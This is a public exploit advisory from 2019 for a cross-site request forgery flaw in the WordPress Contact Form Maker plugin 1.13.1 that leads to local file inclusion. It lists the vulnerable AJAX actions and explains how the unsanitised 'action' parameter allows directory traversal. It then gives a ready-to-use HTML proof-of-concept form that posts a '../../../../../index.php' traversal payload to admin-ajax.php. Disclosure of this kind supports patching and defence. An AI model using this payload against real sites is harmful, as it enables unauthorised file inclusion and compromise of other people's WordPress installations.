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WordPress Contact Form Maker 1.13.1 Cross Site Request Forgery

WordPress Contact Form Maker 1.13.1 Cross Site Request Forgery
Posted Apr 4, 2019
Authored by Panagiotis Vagenas

WordPress Contact Form Maker plugin version 1.13.1 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
MD5 | 8c0bd2ff5a15ebfbedbed8b0189b5608

WordPress Contact Form Maker 1.13.1 Cross Site Request Forgery

Change Mirror Download
# Exploit Title: Contact Form by WD [CSRF → LFI]
# Date: 2019-03-17
# Exploit Author: Panagiotis Vagenas
# Vendor Homepage: http://web-dorado.com/
# Software Link: https://wordpress.org/plugins/contact-form-maker
# Version: 1.13.1
# Tested on: WordPress 5.1.1

Description
-----------

Plugin implements the following AJAX actions:

- `manage_fm`
- `get_stats`
- `generete_csv`
- `generete_xml`
- `formmakerwdcaptcha`
- `nopriv_formmakerwdcaptcha`
- `formmakerwdmathcaptcha`
- `nopriv_formmakerwdmathcaptcha`
- `product_option`
- `FormMakerEditCountryinPopup`
- `FormMakerMapEditinPopup`
- `FormMakerIpinfoinPopup`
- `show_matrix`
- `FormMakerSubmits`
- `FormMakerSQLMapping`
- `select_data_from_db`
- `manage`

All of them call the function `form_maker_ajax_fmc`. This function
dynamicaly loads a file defined in `$_GET['action']` or
`$_POST['action']` if the former is not defined. Because of the way
WordPress defines the AJAX action a user could define the plugin action
in the `$_GET['action']` and AJAX action in `$_POST['action']`.
Leveraging that and the fact that no sanitization is performed on the
`$_GET['action']`, a malicious actor can perform a CSRF attack to load a
file using directory traversal thus leading to Local File Inclusion
vulnerability.

The following AJAX actions are available only for the paid version of
the plugin:

- `paypal_info`
- `checkpaypal`
- `nopriv_checkpaypal`
- `get_frontend_stats`
- `nopriv_get_frontend_stats`
- `frontend_show_map`
- `nopriv_frontend_show_map`
- `frontend_show_matrix`
- `nopriv_frontend_show_matrix`
- `frontend_paypal_info`
- `nopriv_frontend_paypal_info`
- `frontend_generate_csv`
- `nopriv_frontend_generate_csv`
- `frontend_generate_xml`
- `nopriv_frontend_generate_xml`
- `FMShortocde`
- `wd_bp_dismiss`

In both free and paid versions, there are no-privilege actions that can
be exploited by unauthenticated users in order to include local files.

PoC
---

```html
<form method="post"
action="http://wp-csrf-new.test/wp-admin/admin-ajax.php?action=../../../../../index.php">
<label>AJAX action:
<select name="action">
<optgroup label="Free version">
<option value="FMShortocde_fmc">FMShortocde_fmc</option>
<option
value="FormMakerEditCountryinPopup_fmc">FormMakerEditCountryinPopup_fmc</option>
<option
value="FormMakerIpinfoinPopup_fmc">FormMakerIpinfoinPopup_fmc</option>
<option
value="FormMakerMapEditinPopup_fmc">FormMakerMapEditinPopup_fmc</option>
<option
value="FormMakerSQLMapping_fmc">FormMakerSQLMapping_fmc</option>
<option
value="FormMakerSubmits_fmc">FormMakerSubmits_fmc</option>
<option
value="formmakerwdcaptcha_fmc">formmakerwdcaptcha_fmc</option>
<option
value="formmakerwdmathcaptcha_fmc">formmakerwdmathcaptcha_fmc</option>
<option
value="frontend_show_matrix_fmc">frontend_show_matrix_fmc</option>
<option value="generete_csv_fmc">generete_csv_fmc</option>
<option value="generete_xml_fmc">generete_xml_fmc</option>
<option value="get_stats_fmc">get_stats_fmc</option>
<option value="manage_fmc">manage_fmc</option>
<option value="manage_fm_fmc">manage_fm_fmc</option>
<option
value="nopriv_formmakerwdcaptcha_fmc">nopriv_formmakerwdcaptcha_fmc</option>
<option
value="nopriv_formmakerwdmathcaptcha_fmc">nopriv_formmakerwdmathcaptcha_fmc</option>
<option
value="product_option_fmc">product_option_fmc</option>
<option
value="select_data_from_db_fmc">select_data_from_db_fmc</option>
<option value="wd_bp_dismiss_fmc">wd_bp_dismiss_fmc</option>
</optgroup>
<optgroup label="Pro Version">
<option value="paypal_info_fmc">paypal_info_fmc</option>
<option value="checkpaypal_fmc">checkpaypal_fmc</option>
<option
value="nopriv_checkpaypal_fmc">nopriv_checkpaypal_fmc</option>
<option
value="nopriv_get_frontend_stats_fmc">nopriv_get_frontend_stats_fmc</option>
<option
value="get_frontend_stats_fmc">get_frontend_stats_fmc</option>
<option
value="frontend_show_map_fmc">frontend_show_map_fmc</option>
<option
value="nopriv_frontend_show_map_fmc">nopriv_frontend_show_map_fmc</option>
<option value="show_matrix_fmc">show_matrix_fmc</option>
<option
value="nopriv_frontend_show_matrix_fmc">nopriv_frontend_show_matrix_fmc</option>
<option
value="frontend_paypal_info_fmc">frontend_paypal_info_fmc</option>
<option
value="nopriv_frontend_paypal_info_fmc">nopriv_frontend_paypal_info_fmc</option>
<option
value="frontend_generate_csv_fmc">frontend_generate_csv_fmc</option>
<option
value="nopriv_frontend_generate_csv_fmc">nopriv_frontend_generate_csv_fmc</option>
<option
value="frontend_generate_xml_fmc">frontend_generate_xml_fmc</option>
<option
value="nopriv_frontend_generate_xml_fmc">nopriv_frontend_generate_xml_fmc</option>
</optgroup>
</select>
</label>
<button type="submit" value="Submit">Submit</button>
</form>
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